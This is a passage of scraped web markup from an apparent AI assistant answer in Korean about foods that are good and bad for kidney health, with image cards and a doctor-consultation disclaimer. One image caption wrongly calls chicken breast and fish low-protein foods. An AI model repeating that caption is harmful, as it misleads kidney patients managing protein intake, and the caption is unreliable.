search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://k-health.com/news/articleView.html?idxno=46242"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="단백질 함량이 적은 식품: 닭가슴살, 생선 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTUYWjymJkHj-XI9SX_K_c6F_r0fz2ZMzVuUEByLIX1tWSMpwopItOVuy0Mp6zB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://k-health.com/news/articleView.html?idxno=46242" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ9NBvqNpt4qI3oytzCxAHfbo5FBt3eYgzqRjwh42jUkZk6IaXg_t_lvb7_8nK91XsLHppPMnw1nfuXXimBha3NiWi5OYQv"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">k-health.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 단백질 함량이 적은 식품: 닭가슴살, 생선 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="18:1-20:0"> <p data-sourcepos="18:3-18:51"><strong>섬유질</strong>: 섬유질은 소화를 돕고, 혈당 조절에도 도움을 주어 신장 건강에 좋습니다.</p> <ul data-sourcepos="19:5-20:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://v.daum.net/v/HUFVsVdzly?f=p"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="섬유질이 풍부한 식품: 고구마, 현미, 귀리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQQRgygh9qmQDLTw2VRRZLVKrJJGB0ZDDJsSPfD0Kh2HTKfrihVL0TUC8V2o5g7"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://v.daum.net/v/HUFVsVdzly?f=p" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQh3Mi_28aTvyvriwdlTY1oCZjdr02-RegnA9czzKy4mWbHJsMq84-6-VYalyyTtJAlLjnKq-jGHQZyjUDvwXRMv04UjA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">v.daum.net</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 섬유질이 풍부한 식품: 고구마, 현미, 귀리 </div></div></single-image></response-element></div></span> </ul> </li> </ul><h3 data-sourcepos="21:1-21:13">신장에 나쁜 음식</h3><p data-sourcepos="23:1-23:48">반대로, 신장에 좋지 않은 음식은 신장 기능을 저하시키고 질병을 유발할 수 있습니다.</p><ul data-sourcepos="25:1-33:0"> <li data-sourcepos="25:1-27:0"> <p data-sourcepos="25:3-25:49"><strong>나트륨</strong>: 짠 음식은 혈압을 높이고 신장에 부담을 주므로 섭취를 줄여야 합니다.</p> <ul data-sourcepos="26:5-27:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://.gimhaenews./news/articleView.html?idxno=10186"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="나트륨 함량이 높은 식품: 라면, 과자, 햄 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR-OIDNk_Pqcn3doeqh2_APxdWlI5htfTS-G7wtQEXPYD5dKY7qOh82WusMuhGt"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://.gimhaenews./news/articleView.html?idxno=10186" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRrk6M5iWZk-AZ7n3XzluzgX-j-v5F2c94Jdu-JEH8k7Y1W3dpE3cM_hnYF4SnpBjf-pM0yLWnuvjYuu81leM4r0s2pKG7LQuTo5cXllQ"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.gimhaenews.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 나트륨 함량이 높은 식품: 라면, 과자, 햄 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="28:1-30:0"> <p data-sourcepos="28:3-28:49"><strong>인</strong>: 인은 칼슘과 결합하여 혈관을 막을 수 있으므로, 섭취를 주의해야 합니다.</p> <ul data-sourcepos="29:5-30:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1555380/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="인 함량이 높은 식품: 탄산음료, 가공식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS6NlhXT1qC2mmMpWcle98xXT4kD7jetPOOZiq-wV5GtUfEYRg0bZyPHbGR4OYA"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1555380/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 인 함량이 높은 식품: 탄산음료, 가공식품 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="31:1-33:0"> <p data-sourcepos="31:3-31:42"><strong>칼륨</strong>: 만성 신장 질환 환자의 경우 칼륨 섭취를 제한해야 합니다.</p> <ul data-sourcepos="32:5-33:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://v.daum.net/v/20240518085142318?f=p"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="칼륨 함량이 높은 과일: 바나나, 아보카도 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSsb-Zyqpw2Jm4Oic6oQQTglogrf-GTgNuKet5BdXdUJNSGbHxXzlpc8eNDoKLO"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://v.daum.net/v/20240518085142318?f=p" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQh3Mi_28aTvyvriwdlTY1oCZjdr02-RegnA9czzKy4mWbHJsMq84-6-VYalyyTtJAlLjnKq-jGHQZyjUDvwXRMv04UjA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">v.daum.net</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 칼륨 함량이 높은 과일: 바나나, 아보카도 </div></div></single-image></response-element></div></span> </ul> </li> </ul><h3 data-sourcepos="34:1-34:20">건강한 신장을 위한 식단 관리</h3><p data-sourcepos="36:1-36:97">신장 건강을 위해서는 의사와 상담하여 개인에게 맞는 식단을 구성하는 것이 중요합니다. 또한, 규칙적인 운동과 충분한 휴식을 통해 건강한 생활 습관을 유지하는 것이 좋습니다.</p><p data-sourcepos="38:1-38:89"><strong>주의:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다. 반드시 의사와 상담 후 식단을 변경해야 합니다.</p><p data-sourcepos="40:1-40:30"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://sondoctor./1046"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="신장 건강을 위한 식단 예시 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSqnchYfLn0PVe-vBLA5Cha1RznrLDGUTT3P3H7rGPIqrYY-C30yLdoR31g6g5W"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://sondoctor./1046" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b5c51fa648b2088c","c_e2f260743ab7f484",null,"rc_b195031fca28a966",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcR67z3l5VDP6WAs-3p0Axz-kQIyFrVJrAd8znEJGwibRg0ie_e0__JHRXAt3PrfRwfoKUQcm42-pV0wCxQIlprCI7Xjq9Efplpt"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">sondoctor.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 신장 건강을 위한 식단 예시 </div></div></single-image></response-element></div></span></p><p data-sourcepos="42:1-42:73"><strong>을 통해 더욱 자세하고 시각적으로 정보를 얻으실 수 있습니다. 건강한 신장을 위해 오늘부터 식단 관리를 시작해 보세요!</strong></p><p data-sourcepos="44:1-44:39"><strong>신장건강 콩팥건강 건강식단 신장에좋은음식 신장에나쁜음식</strong></p><p data-sourcepos="46:1-46:37"><strong>[추가적으로 원하시는 정보가 있다면 언제든지 문의해주세요.]</strong></p></div> </div></div>